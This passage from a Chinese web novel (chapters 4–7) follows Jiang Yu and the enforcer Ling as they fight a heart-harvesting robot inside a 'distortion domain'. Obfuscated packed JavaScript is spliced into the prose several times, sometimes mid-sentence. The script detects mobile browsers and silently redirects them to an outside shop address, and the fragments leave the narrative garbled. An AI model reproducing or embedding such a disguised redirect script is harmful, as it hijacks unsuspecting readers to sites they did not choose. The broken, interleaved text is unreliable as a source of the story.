0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153911|196489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间有着一股不容置疑的领导气概,她气质凌冽,“畸变域会有自己的逻辑发展。我们要做的,是在逻辑发展中找到畸变源,然后杀死他。” 玲话音刚落,店内的安静不复存在。像是一下被按下开启键,喧闹的音乐与人声忽然出现。店中忽然人来人往,好不热闹。 店内似乎进入了营业状态。灯光、屏幕依次开启,展示台旋转起来,每个机器人都摆出了最友好的姿态,等待客人到来。 “几位不是说要去卫生间吗?怎么在仓库面前逗留?”营业员走上前来,笑意吟吟的,像是没有看见一行人的防备,热情地带着几人参观机器人。 “这是我们公司最新发行的机器人,和真人一摸一样。您看看这仿真皮肤……”营业员拉着姜屿的手,硬生生体验了下仿真皮肤带来的真实触感。 她本想拒绝的,如果不是脸上一片空白,五官处什么都没有的营业员两手像钳子似的。 “在逻辑范围内行事。”在姜屿被营业员拉走时,玲在她耳边轻轻嘱咐。姜屿点点头,刚刚在仓库中她听到过因为大吵大闹,在畸变域内做出不符合身份的事而找死的案例。虽然找工作很苦,但姜屿还是想活着的。 连司机都不顾被玲揍出来的鼻青脸肿,一瘸一拐地跟在几人身后。他有自知之明,他们几人中自己是最废物的,也是最有可能死的。 营业员似乎将姜屿当作了消费的主力,对姜屿可谓是关怀倍至、贴心热情。几人很快走完了整个店,姜屿脑海中满是营业员的姐介绍:机器人仿真人设计,能源核心设计不同以往,仿造人体放在了左边胸膛,甚至模仿了人体心脏的跳动。在营业员的热情邀约下,姜屿将手放在了心脏处。 砰!砰砰! 触手可触处皮肤的温热,手底心脏的跳动,以及懵懂看着姜屿二人动作的机器人,都让姜屿有一种不真实感,她不得不感叹新世界的科技发展。 机器人:“您看起来有点恍惚。” 姜屿抬头,是她手底下的机器人看她表情自然做出的反应。旁边营业员惊喜地笑起来,“我们做了多轮实验,确保机器人的反应和真人反应相似,您甚至可以定制您的机器人的性格。” 顾白暗示地用下巴指了指店内另一位客人,穿着得体、说话礼貌的男人。男人的样貌同样模糊,“我来为我家孩子买一个机器人。” 姜屿在顾白的暗示下也看到了那个男人,但有更重要的东西吸引到了她的注意力。 她看向男人身前的机器人,专卖店的机器人都是同一种型号,没有什么不同。但在姜屿的眼中,机器人胸口心脏处有丝丝缕缕的红灰雾雾气蔓延开来,一团血雾在机器人胸口处成型,缓慢搏动。 和她在公交车上看到的那个残疾机器人一样。 姜屿看了看其他人,“你们看见了吗?” “什么?”玲奇怪地看向说话没头没脑的姜屿。 确认只有自己能看到,姜屿暗暗安抚自己急速跳动的心脏,面上不动声色地解释,"那好像是畸变源" 玲不解,探究地看着姜屿,意味深长,“你是怎么发现的?” “直觉。”说完,姜屿快步上前,阻拦住了男人现场提货的动作,“先生,这个机器人可以让给我吗?” 男人不解:“为什么?店内有许多同款机器人,你为什么非要我眼前这款?”神色明显怀疑姜屿找事。 姜屿:“眼缘。你眼前的这个机器人很和我眼缘,我觉得它有灵魂。” 男人语气中的不耐一下子消失,如同看到知己般兴奋。 “你也觉得虽然长得一样,但每个机器人都是独一无二的吗?” 男人像什么科技狂人,开始和姜屿讲起自己的理念,原来他是个工程师,主要负责机器人的人工智能设计。在为每个机器人设计了客人要求的各有特色的AI后,男人发现他无法将机器人看作是工厂批量研发的流水线作品。它们有自己的思想和灵魂。 男人体贴地将机器人让给了姜屿,像是托孤。姜屿被自己忽然出现的想法累得不轻。 几人站在机器人面前,试探着和机器人聊条。机器人一无所觉,和店内其余机器人一样,脸上带着能让人产生好感的笑容。据营业员说,这个开机笑容是公司整合上万张人类笑脸后设计出来的笑容,能让人第一眼看见就觉得轻松愉悦的笑容。 他们被困在了这里。 玲不耐,啧一声想去外面找找线索,却被营业员拦住。窗外适时地下起雨,“客人,外面雨大。请雨停后再离开。” 玲问姜屿:“你说呢?” 姜屿:“……我不知道。” 破解畸变域有两种方法,顺着区域内逻辑走,偷偷溜走;或者一力破万法,直接暴力拆卸畸变域。 玲是第一条路的大拿,因为行事暴力,她老大被上头骂得不轻,老大回头就把她骂得不轻。她本来也准备走第一条路的,但是姜屿很奇怪,也很有趣。 她想看看这个在花园城格格不入的人。 4. 004 姜屿感受到了玲态度的细微变化,她在观察自己。她有什么地方足以被观察,被审视。姜屿随便一想,就知道是自己关于黑雾的试探被玲怀疑了。但她自己都不知道那是什么。 她收回自己的心思,全心全意回到如今的困境中来。她知道眼前的机器人肯定有问题,但是如何破局呢?姜屿看着面前完好无损的机器人,店中的机器人都是完美的人类形态,她回想起后座机器人的残躯。 机器人的思维是什么样的?它在想什么?畸变源会影响畸变域内规则的产生。 姜屿睁开眼睛,走到它面前,认真地看着它:“我看见你了,我在和你说话。” 周围忽然一震,专卖店的场景如同电影抽帧般闪烁,天花板上预示着危险的报警器闪过危险的红光。姜屿感到自己的手腕被轻轻碰了一下。从手腕处传来强大的旋转力,姜屿整个人像是被放进了滚筒洗衣机。 “姜屿!” 玲手臂一伸,什么都没有抓到。只看到姜屿眼睁睁在自己面前消失。她异常警惕,呵斥身后尖叫的老王。老王脸色涨红,呐喊被玲充满杀意的眼神一噎,堵在了嗓子眼里,想抓住能带来安全感的玲,却被玲硬生生逼退,缩在角落里哆嗦。 姜屿眼前一花,再次抬头发现已经不是专卖店,而是一个不规则的血肉的空间,头顶上甚至能看清其中的毛细血管,地上满是机械管道与电线,缝隙处有黑色液体慢慢渗出来。 她呼吸一窒。 按照玲的科普,此时她已经如同煮好的小乳猪,只待畸变物享用了。 姜屿握住枪,脚底软软的,像是踩在人的皮肤上,整个空间有节奏的扩张——收缩。她顺着机械管道向前走。机械管道上遍布血红的肌肉与活着的血管,像是苔藓一样。 “滴答——滴答——” 头顶上暗红色的不知名液体掉落。 姜屿深呼吸,按捺住自己怦怦跳的心脏。她当年情窦初开心脏都没跳得这么快。 很快,她走到一片宽阔的地方。场地中满是防护Ⅲ型机器人,和专卖店中的不同,这里的机器人全都破破烂烂的,像是从垃圾场里捡来的。身上大片大片的污渍和损坏,心脏处的仿生皮肤像被火燎过,留下可怕的伤痕和赤裸在外面的电线和零件。 姜屿凑近,倒吸了一口凉气。机器人不同的地方都有人体组织,有的是四肢,有的是裸露在外的器官。她停在一个布满纹身的小臂面前。她记得,这是公交车上她旁边的人。 这里的机器人是人体和机械零件拼出来的。姜屿噔噔退后两步,人体还很新鲜,拼接处血液鲜红,皮肤柔软,除了胸口处空空荡荡。真比连环变态杀人犯还可怕。 但他们都不是那个特殊的机器人,那个胸口处围绕着不知名灰雾的机器人。场地很大,全都是机器人,姜屿大概估算,将近上千。机器人间隔很近,姜屿走路时会时不时碰到它们。姜屿只能在紧凑的空间里寻找。但奇怪的是,被注视的感觉如影随形。她回头,没有启动能源的机器人们呆呆站在原地。 姜屿摸摸自己手臂的鸡皮疙瘩,无声叹了口气。良久,她看到角落处散开来的一缕灰雾。 再次看到灰雾,姜屿热泪盈眶。她快步上前,灰雾弥漫的角落处是一块黏糊糊的血红肉壁。姜屿犹豫再三,忍着恶心,轻轻地碰了碰肉壁,摸上去没有想象中的恶心,像是新鲜的猪肉。 ? 她摸了摸,又确定了一番。她似乎摸到了一个人形物体的四肢,姜屿摸索一番,握住其中一个,狠狠一用力。一只机械手臂破开肉壁,被她抽了出来。姜屿抬起手臂,挡住飞溅的碎屑,拉出了手臂后连着的躯体。 终于找到了,姜屿长长地松了口气。机器人和公交车上的不一样,更破旧、更血腥,褪去了专卖店中的完美机械模样,露出了底下仿生但残破的躯体,心脏处有异常隆起,关节交界处长出层薄薄的血肉。脆弱的血肉受不住姜屿粗暴的动作,破裂开来。 机器人人性化地疲惫垂头,眼神和公交车上时完全不同。 在姜屿由警惕变得更为警惕后,他出声了,像是巨龙分享自己收藏的宝石时,珍惜又自得:“你要看看吗?我这里有一颗人类的心脏。” 姜屿视线久久落在机器人敞开的心脏,一个活生生的人类心脏。 识时务者为俊杰。她很有眼色地称赞,“很好看的心脏。” 机器人果不其然乐起来,姜屿能从他的眼睛中看出幸福的神色。但理智在提醒姜屿,机器人的眼睛是光学感应器,并不拥有传递情绪的功能。 笑了一会,它闷闷不乐:“你在安慰我。这不好看。” 光缆混合血肉的组合,缝隙中血肉碎屑不断地被吞噬。看出姜屿紧绷的肌肉,和脸上刻意摆出的空白神色,它好心地安慰:“别太担心,我只是想和你说说话。” “为什么?我以为你会想杀死我。”姜屿没有感受到面前机器人的攻击性。 “因为……你看到了我。”机器人笑起来,半张人脸圆嘟嘟的,非常和蔼可亲。说着,它低落下去,“很少有人能看见我。”看见机械生出的灵魂和情感。 机器人并不是想交流,它只是想倾诉。姜屿只是恰好出现在了公交车上,恰好和它有一瞬间的对视。 他没管沉默的姜屿,自顾自地回忆过去。 机器人的过去很平凡,很普通。被带回家,被嫌弃,被丢掉。在这过程中,它被打骂过,被当成朋友过。它第三任主人的孩子可惜地对他说:“可惜你只是个机器人。”他遗憾地回忆着过去,后来他再也没有机会告诉那位朋友,那时的他已经有了情绪。 姜屿听得极为认真,畸变域的逻辑很大程度上受畸变源影响,她想找到离开的方法。玲的话历历在目,她再三强调畸变源的危险,它们都是怪物,是会择人而噬的野兽。 她小心应付着,拿出当初高考的劲头应和机器人的话。 专卖店内,玲拿出自己随身携带的小型畸变能量探测装备,脸色凝重。在姜屿消失的一瞬间,能量等级峰值超过E级,到达了D级。经验告诉她,畸变源单独掳走人质,通常是为了吞噬、融合对方,如果他们稍微浪费时间,只能看到姜屿的尸体。 玲闭上眼,姜屿只是无辜卷入的路人,即使她可能拥有某些资质。作为执法队的人,她这次一定要救下人质。她喃喃自语:“姜屿是在这里消失的,我把机器 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153912|196489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人轰烂,总能找到些破绽吧。” 眼前的机器人完美、崭新、懵懂。 说着,玲左手臂变换形态。她左手臂采用了最新的生物材料,不动用时看不出任何非人痕迹,此刻手臂毫无掩饰地展示其作为兵器的一面,左手臂搭载了一台小型电磁脉冲炮。她掏出两把枪,扔给身后的两人,“开枪会吧?” 炮筒对准机器人,发射出圆柱形的亮光。稍远处的店员来不及阻止,亮光轰然覆盖了眼前的机器人。机器人的边缘在亮光中融化、消解。 店员笑容变得僵硬,“客人,店内禁止闹事。” 专卖店被按下暂停键,一下变得安静,店员和机器人齐刷刷地注视着闹事的玲。下一秒,店员不再掩饰,和店中售卖的机器人一同朝三人发起了攻击。 “锵”地一声,玲与机器人碰撞的地方发出金属碰撞的声音,店员也是机器人。几秒钟,两人已经拳对拳地对手十几招。 攻击的机器人:“你也是机器人。” 玲全身都进行了机械改造,除了还属于人类的大脑,再无任何人体组织。玲冷冷挑眉,“老娘正儿八经的人类!”电磁脉冲炮充能成功,又是一炮。 攻击玲的机器人像是风筝一样,在空中滑行十几米后狠狠撞在了专卖店的后墙上,它同伴攻击的动作一停。和顾白对打的机器人一瞬间的分神被顾白抓到,开枪。 高压蒸汽子弹轰鸣着冲向机器人的眉心位置。据老王所说,防护Ⅲ性机器人的芯片在眉心位置。子弹碰到机器人的一瞬间,机器人像是被打碎般,裂缝像蜘蛛网似的由眉心向外蔓延。机器人抵不住冲击力倒在地上,顾白没来得及松口气。弥漫的灰尘烟雾中,有个身影踉踉跄跄地站起来。 机器人半个脑袋被轰烂,脑袋中晶体管与电线突兀地露出来,一只眼睛盯着顾白,“没用的。” 它朝顾白冲过来。顾白余光中看到,更多的机器人如同蚂蚁般朝玲飞扑过去。机器人不会权衡利弊,它们只想要解决敌人。机器人一圈锤在顾白的腹部。顾白躲闪不及,硬生生接下来这一击。他还没缓过来,机器人的第二次攻击已至。他被击倒在地,紧紧握住手中的枪,这是他唯一翻盘的机会。挨打而已,他习惯了,只要不死,他总有机会的。 杀不死,根本杀不死。 玲单膝跪地,急促喘息着,眼睁睁看着另一只机器人越过倒在地方的机器人向她发起攻击,而倒在地上的机器人光学传感器闪烁几后下,几株铝线犹如活着的枝桠般在空气中试探地舒展身体,随着铝线的动作,机器人被电磁炮轰碎的四肢再次长了出来。 电磁脉冲炮的能源是有限的,且不能无限使用。短时间内多次使用会加重她身体的负担,但普通攻击根本伤不到机器人生物橡胶材质的外壳。玲一边思考,一边打架。 忽然,身后传来的动静打断了玲的思绪,姜屿消失的地方被她捕捉到一丝逸散的能量波动,和姜屿消失时候的很像。 她冲出机器人的包围,一手拉着顾白,一只腿被机灵扑过来的老王紧紧抱着,几击连续的电磁炮狠狠打在能量波动的地方。 能量波动变得剧烈,像是野兽张开了嘴。三人冲了进去。 5. 005 机器人没有学到人类的美好品质,但学会了人类的词不达意和拖延。姜屿蹲着蹲着,两腿发麻,但脚下发黏的触感让她不敢放松,居高临下地俯视机器人。 机器人窝在阴影中,没有任何被掌握、被压制的慌乱,半张仿生人脸,半张赤裸的锈红钢铁。 仿生人脸上的眼睛似乎回忆着过去。 她看似认真听它说话,实则认真思考杀死眼前这个机器人的方法,她必须要一击必中。灰雾在机器人的心脏处胀大,像是寄生于人体的肿瘤。 姜屿视线飘忽地落在半人面机器人胸膛处。 它很敏锐:“你看起来很不耐烦,不喜欢听故事吗?” 姜屿迟缓地抽出发麻的腿,她的腿像是困在了一片泥沼,动弹不得。她摸摸自己咕咕响的肚子,“我只是饿了。” 机器人深情的视线在姜屿腹部打转,恍然大悟:“是啊,人类是会饿的!”而后笨拙地模仿姜屿的动作,手臂在自己腹部拍了拍。 它缓慢的动作随着一遍又一遍地重复生动起来,直到和姜屿刚刚的动作一模一样。它笑起来:“这样对吗?” 过电般的感觉从脊椎传导到了头皮,姜屿身体诚实地害怕,像是看到野兽披上了人皮。 她制止住自己退后的冲动,由衷地赞美:“很对,你真聪明。” “所以你愿意把自己的心脏给我吗?我会好好对待它的。” “……什么?”姜屿怀疑自己幻听。 半人面机器人许愿般重复了一遍,好像姜屿失去心脏不会死一样。 姜屿没搞懂对话逻辑,但不妨碍她发出质疑,“你知道我失去心脏会死吗?” 半人面机器人歪了歪头。它很清楚,但姜屿会死关他什么事。他只是个被程序控制,想要得到一个跳动的鲜活心脏,想要如同人类般自由活着的小可怜机器人而已。 姜屿读懂了半人面机器人的未尽之言姜屿看懂了机器人的未尽之言。她暗骂一声,自己的直觉果然是对的,幸好她心冷如铁,没有放下警惕。 她举起自己放在衣兜的左轮。左轮经过改装,射出子弹时枪身的纹路会微微散发荧光,代表正在转化空气能为子弹。 姜屿连发六枪,空气子弹以破均之势齐齐射中机器人胸膛处。 金石相撞的声音从接触处传来。机器人胸膛处的灰雾嘭地胀大,被空气弹的冲力撞得粉碎的胸膛缓缓愈合。 姜屿:O_o…… 自带回血谁顶得住? 机器人喟叹:"你不愿意。我只能自己来拿了。" 姜屿没防备,后背背心被狠狠一击。身体快于理智闪避,但如潮水般四面八方涌来的攻击让她避无可避。几近窒息的痛感后姜屿踉跄倒在地上。她咳着血回头,背后空地上密密麻麻的破烂机器人好似接到指令,都一一醒了过来,眼睛泛着红光的机器人围住姜屿,贪婪地,渴求地看着姜屿。 改装后的左轮上来说有无限火力。姜屿顾不上从手掌缝隙中咳出来的血,双手举枪,越来越多的机器人让她来不及瞄准,只得快速开枪,用子弹的冲击力阻挡机器人包围她的脚步。 机器人的四肢被打掉,无所谓。他们拿起地上的残肢安在自己断臂上,关节处血肉密如蝉翼,却将机械与人体奇异地联合在一起。 怎么这么难杀,最重要的还是坐在那里的半人面机器人。姜屿一边躲避,一边注意着刚刚与她对话,如今瘫在地上,轻声哼歌的半人面机器人。它似乎没有注意到姜屿这边的慌乱,躺在地上,悠然自得。 聚集起来的机器人虽然破旧,但很敏锐。姜屿的一心二用被捕捉到,加上她的理智无法跟上身体。在姜屿没注意到的地方,一只机械手臂在她靠近半人面机器人的路上突兀出现。机械手臂被改造成锋利的冷兵器,刻意躲过致命点,捅穿她的腹部。 姜屿挣扎着,被高举起来。她悬在空中,致命的疼痛使她不自觉想要弓起身体,动作期间腹部的血流得更快,猩红得血液顺着手臂划过机器人的胸部、腹部、四肢,最后滴滴答答地落在地上。 “狗屎的保姆机器人……” 失血过多导致姜屿眼前发黑,整个人不受控制地半昏迷过去。她隐约能感受到机器人群安静了下来,并让开了一条路。姜屿不顾眼睛前目眩神迷的光点,瞪大眼睛,是半人面机器人过来了。 它一边走,一边挑挑拣拣。脚底的残肢像是菜市场中被肆意挑拣的瓜果,“我不喜欢有纹身的大腿,我喜欢干净的。”它轻巧地踢开一只柔软的大腿,撅着嘴很不高兴地样子。一路走过来,它挑挑拣拣,成功拼凑出了一副完美的人体。 姜屿被机器人压着,跪在了地上,肩膀上的两只手臂很柔软却非常沉重,压得她动弹不得。半人面机器人走到她面前,伸出手勾起她的下巴,失血失温导致姜屿全身发冷,但她觉得抵在她下巴处的柔软皮肤更冷。那是机器人反复挑选后选出的手臂,皮肤细嫩,保养得宜,还做了美丽的美甲。 “多谢你的心脏。” 半人面机器人凑到姜屿耳边呢喃,轻柔的声音像是在吟咏诗句。 姜屿顿觉晦气。 意识昏沉间,她感觉到自己的胸膛被手术刀似的锋利物轻轻划开,冰冷的手指激得她全身发颤、冷汗直流。她苦中作乐,这怎么能不算一种人生体验呢,有多少人能被活生生挖心呢。 所有人屏住呼吸,等待半人面的动作。 “姜屿——” 玲充满怒气的声音破开肉壁传来。她很有经验地落地一滚,卸掉重力后只看到呈圆形层层围起来的机器人,围得严严实实,看不到半点中心。 但她意识到,姜屿在其中。她双脚猛地一蹬地,犹如离弦之箭般冲进包围圈,看到了正在下手的半人脸机器人。 这是公交车上的机器人。她曾因为机器人特殊的面部而记忆犹新。 半人脸机器人的指尖抵在姜屿胸口,一条细又长的伤痕在它指尖下慢慢加深,指尖一滴血液欲落不落的样子。 姜屿衣服破了个大洞,胸部以下全部被血染红,血液在她周围泅出一个个小血塘,她垂着头,看起来像是死了。 玲速度很快,越过阻挡她的机器人冲到了姜屿身旁,凑到她鼻尖感知到轻微但微弱的呼吸后松了口气。 无论如何,她存在的意义是保护普通人。 半人面机器人不悦,他完美的计划被打断了:“找死!” 话音刚落,机器人听到它的声音动作迅速地朝不速之客袭来。 玲单手将姜屿扶起来,让她靠在自己身上,和机器人缠斗起来。她全身都做过机械改造,贷款用了最高端的合金骨骼和生物皮肤,带着姜屿丝毫不落下风。 司机老王不出她所料,废物小点心一个。除了尖叫呐喊,再无其他用处,偶尔会挡在顾白的路上,挡住他的退路。 但顾白属实出她意料,他拿着玲扔下的小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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半人面机器人脸色霎那间阴沉,单手折断了自顾自说话的老王,抚在它脸上的左手臂被硬生生扯下来。 老王犹如红气球般的脸一下惨白起来,“救我!救我!你这个破烂货敢伤害我!我是你的主人!我是你的主人!”面目狰狞地朝着半人面机器人怒吼,真心实意到旁观人群疑惑。 姜屿靠在玲的肩膀上,声音和蚊子哼似的,“他真觉得机器人会听他的话?他没有看到地上的残肢吗?” 玲沉默,她不理解。但她不准备管,就说这人挑衅畸变物,被畸变物杀死,这是事实。而她在忙于应付畸变域中的次级衍生物,无能为力啊。 半人面机器人蹲在不停凄厉哀嚎的老王面前,“你看,你这种人怎么配称为一个拥有自由意志的人呢?你怎么配活着呢?” 老王后知后觉地害怕起来。他颤抖着蠕动退后,“放过我,我是你的主人,我是你的主——” 声音戛然而止,柔软细腻的手臂穿过老王的胸膛,将胸膛中跳动着的心脏一把拽出来,鲜血淋漓的。 半人面机器人将散发着热气的心脏捧到自己脸颊旁,“多么美丽的器官。” “可惜,还不够完美。” 它遗憾地叹息,眼珠子直勾勾地看向倚在玲身上的姜屿,两人隔着机器人群对视。 6. 006 姜屿和玲的窃窃私语戛然而止。半面人处理老王时,顾白悄悄贴了过来。三人在阴影处商量对策,感谢老王为她们争取的时间。 玲询问:“你是怎么看出来不对的?” “啊?”姜屿反应慢半拍。 玲再次询问了一遍,姜屿才听清她的问题。如今不能再遮遮掩掩了,再遮掩她可能都活不下去了。 “黑雾……”姜屿上气不接下气,疼痛和昏厥时不时攻击着她,“我在半人面机器人的心脏处看见了一团黑雾。” “心脏?”玲念念有词。 姜屿看出来了,她赶忙压下玲的动作,力道很轻,但手冷得和僵尸似的,玲一下就感受到了。 “我试过了,不行。”姜屿摇摇头。要真这么好杀,她也不至于沦落到这个地步。 “除了心脏你还在哪里看到过黑雾?”顾白细细的声音传来。 “没有了。” 就在此时,半人面机器人和姜屿对视了。玻璃珠似的眼睛生动地展现出对姜屿的杀意。 姜屿嘶吼:“快跑!” 每个机器人的性能对普通人类来说都是怪物。怪物般的反应力和攻击性,不知疼痛的躯体。 玲三人中两个纯种人类,一个还是持续掉血的。 “分开跑!你保护好自己!”玲朝着顾白嘶吼。 生存压力陡然袭来,玲发现机器人的攻击性上了不止一个层次。刚刚机器人没有尽全力,如同人类逗狗般,机器人逗他们找乐子。 顾白身上的伤口越来越多,严实的黑斗篷在机器人的攻击下破破烂烂,他露出的躯体惨白、细长。 “老鼠人……” 老鼠人是什么物种,姜屿非常疑惑,但现在明显不是适合玲解答她问题的时机。 机器人一道狠厉的攻击在碰到姜屿时堪堪顿住,不到片刻,机器人越过姜屿,重击在了玲脖颈。 战斗本能在提醒她,玲测试了好几次,发现机器人致命的攻击都越过了她背上的姜屿,卡顿一瞬后向她袭来。 机器人不想让姜屿死! “对不起了。”玲防守的动作一变,转身用背上的姜屿应对机器人的攻击。 攻击堪堪停在姜屿脸颊,机器人锋利的手臂在姜屿左脸颊留下一道浅浅的伤痕。机器人一顿,而后不顾重力的转身,一击朝玲轰然袭来。 玲眼睛一亮,姜屿被她当做盾牌,硬生生防守住了千百个机器人的攻击。 “顾白!过来!” 三人艰难汇合,姜屿挡在面前,巧妙地成为了盾牌,盾牌内顾白和玲短暂地有了喘息的空间。 “人类真是一种具有无限可能的物种,有人愚昧,有人机智。”半人面机器人看到下属攻击的动作变得束手束脚就发现了。 姜屿:“我有一个猜测,机器人不是无限的。”她详实为两人解释。 在她攻击到半人面机器人时,黑雾虽然修复好了机器人,但需要时间。而黑雾也稍微消散了些。 “……我需要更多的样本来观察。” 姜屿需要更多次对半人面的攻击,才能印证自己的猜测。但这提议,无异于让顾白和玲去送死。 半人面机器人在机器人最中心保护圈,稍稍靠近就会有至少四个方向的机器人来袭。攻击半人面机器人这个任务很难,非常难。 姜屿迟疑地看向两人。她体力尽失,理智在疼痛和失血的影响下都难以为继,距离尸体只剩一线距离。 顾白更不用说了,细长的身体被猩红血液浇灌了一遍,玲状况好点。但三人都在崩溃的边缘。 “干了!”脸上的血液和污渍衬得她眼睛更亮,“干了还有一线生机,不干我们会被这群机器人活活耗死!” “我也干!”顾白的声音毫无波澜,依旧是细长的,但急促的语气引得自己咳嗽不止,他断断续续地说,“我想活着。” “不是孬种嘛,顾白。”玲诧异,但危机中顾白和她之前遇到的老鼠人完全不一样。 “用这个。”姜屿将自己的左轮交给玲,左轮比玲手臂改装后的电磁炮耐用多了。多次开火后,电磁炮被压缩到极致,多次重启不成,炮管空荡荡的射出几缕蒸汽。 左轮只是微微发热,坐在手中像个被耗尽能量的暖手宝。 玲左看右看,新奇得不得了:“乖乖,这是还没在第四域售卖的材料吧。” 姜屿撑着头开口,拉着玲重新回到如今危险的处境,“机器人想要活生生地剥出我的心脏,我暂时没有危险。” “”那么……事不宜迟。”玲转换状态,蓄势待发,像是瞄准了猎物的猎豹般紧紧盯着层层机器人后的半人面机器人,“十秒后我和顾白同时行动。” “10、9……3、2……1!” 数到“1”时,两人挥舞着武器,朝着机器人群奔袭而去,顾白掩护,玲为主力。两人的打法不顾死活,以伤换取机器人群的退步,逼近半人面机器人。 两个机器人呈看守状,小心翼翼地靠近,确定姜屿没有逃跑及攻击的意图后一左一右守在姜屿面前,防止她不小心乱跑或死掉。姜屿遵在地上,眼睛一瞬不眨地盯着鏖战中的两人,腹部伤口被玲用顾白的破黑斗篷布条草草包扎。 “你们也是有思想的是吧。”姜屿漫不经心地说道。机器人在攻击她时有片刻迟疑,这点迟疑就是机器人的自主思想,“为什么不反叛,做自己的主人?” 机器人沉默。不远处玲冲破血肉,用强大的身体素质强行停留在空中三秒。三秒钟,足够玲瞄准、射击。 蒸汽子弹光速射出,“砰”地一声没入半人面机器人的胸膛。 “真厉害啊。”它不在意地扯了扯胸膛,“可惜是白费功夫。” 确实变淡了,笼罩在胸膛处的黑雾猛然胀大,而后又回到自己的舒适区,笼罩过的地方淡淡薄雾存留,缓慢地修复破碎的心脏。 机器人的攻势更加剧烈,踩着前面机器人倒下的躯体一次又一次地攻击。 “它是我们的首领。”守在姜屿旁边的机器人沉默许久嘶哑出声。 不够。 再来一次、第二次、第三次…… 半人脸机器人也在观察、在模仿。它模仿低劣的人,学习他们的贪婪、权欲,当然也要学习人类的勇敢、无畏以及无用功。 差不多了。半人面机器人心中咀嚼玲二人的无用功,再三被伤害让它有些烦躁。 不顾玲、顾白二人所在地的交手,它走到姜屿面前,“你快死了。” “我得快点动手才行。谢谢你看见我,并为我带来一颗完美的心脏。” 它的感谢很真诚,想要姜屿的心脏也很真诚。它抵在姜屿胸口处,利刃覆上胸口处结痂的伤疤,一戳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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像是有人掀开姜屿的脑袋,在她脑袋中作威作福,又留下了一堆垃圾之后飘飘然离去。垃圾中错乱的记忆在她脑子里乱晃,晃得她头痛欲裂。 黑雾被姜屿吸收后,带来了半人面机器人的记忆。不对,姜屿站在旁观者视角才明白,半人面机器人叫小时。 并不如它自己所说,是从第三域流落至此的机器人,而是从花园城的垃圾堆里拼拼凑凑,组装出来的机器人。 小时这个名字是它从垃圾堆里找到的废弃芯片中搜索到的名字。小时原身是一个被主人,和主人的孩子当做是家人的机器人,他们会和小时打闹,为它过生日。 垃圾堆里长出的机器人竟然生出了羡慕的心思。它独自一个机器人驾驶着脚底的轮子,在垃圾堆里挑挑拣拣。 用垃圾拼凑出一份记忆,一个人生。但太孤独了,它太想要体会小时的人生了。 充盈的,美满的人生。它想成为他。 于是,小机器人改名为小时,跌跌撞撞地寻找自己的成人之路。 记忆戛然而止,纷乱的记忆在姜屿手中四散开来,她伸手去抓,只抓到一片空白。 “偷看别人记忆不太礼貌哦。”小时出现了,不再是可怖的半人面,而是完整温热的人类躯体。 看到姜屿猛地退后后,它撅了噘嘴,“好吧好吧,看在你真的是个很完美的心脏供体。” “还是个赌徒的份上。” 它摊开手,“真不甘心啊,一无所有的人只能赌命。”它狰狞笑起来,迅速逼近姜屿,依依不舍地和姜屿的心脏道别,“你要带着你的心脏好好活下去。” 在姜屿来不及防备时化成透明状态穿过她,“我在地狱等你。” 7. 007 “姜屿,放手。你已经安全了。” “姜屿,醒醒。不要睡!” “……” 一道声音一直在姜屿耳边环绕,扰得她无法好好睡觉。姜屿皱着眉头转了个身,不准备搭理这恼人的声音。转身时身体却传来剧痛,姜屿满头大汗地醒来。 救护车的灯光从头顶冷冷射下来,模糊的视线逐渐变得清晰。不远处穿制服的工作人员在公交车废墟上走来走去,走上拿着看不清楚作用的工具。而在她身边,玲双手紧握她的右手,身旁站着一位穿着红白制服、全身覆盖得严严实实的人,样貌隐藏在制服下看不清晰。;另一人身着便服,神情和蔼。 看到姜屿醒来,制服人朝她点了点头:“您好,我们是来回收此次E级畸变的污染源的。”男声透过严实的制服传来,声音闷闷的。说着,他看了眼姜屿左手死死攥紧的心脏。心脏在离开供血,暴露在空气多时后依旧鲜活,粘腻的手感不断从姜屿左手传来。 “你们是?”姜屿警惕。 制服男看向身着便服的女子。女子长得很秀气,像是被宴会中拽出来的大家闺秀。她接过制服男的话头,“你好。我是异常控制署下属管理的花园城执法队三队长甘棠,玲是我的下属。你可以放心,我们没有危险。” 玲在旁边附和,“这是我老大。姜屿你先放手,畸变源持续散发影响,都是需要被回收的。这是正常流程。” 姜屿松开手,制服男单膝跪地,戴着手套,小心翼翼地接过姜屿手中的血肉心脏,打开一旁专为畸变源制造的存放箱中。 确保畸变源完好无损,制服男朝着甘棠点点头,略过其余两人后翩然离去。 玲撇了撇嘴,“真不知道研究中心的人怎么个个都是眼睛长到头顶的模样,真想给她一拳。” 甘棠揉了揉太阳穴,“玲!先将这次的幸存者送到医院。”在老大的警告下,玲无奈地闭上嘴。 甘棠又看向虚弱的姜屿,柔声道“辛苦你了,姜屿。” 看到玲身上的伤,她头疼地蹬了蹬不知疲倦,好似有无限精力的玲,“还有你,看看你身上的伤。赶紧也给我去医院。” 玲被强行按在病床上,和体力不支的姜屿一起被周围等待着的医护人员一拥而上。 姜屿意识昏沉间看到病床上的玲不停挣扎,像是放在案板上的鱼。 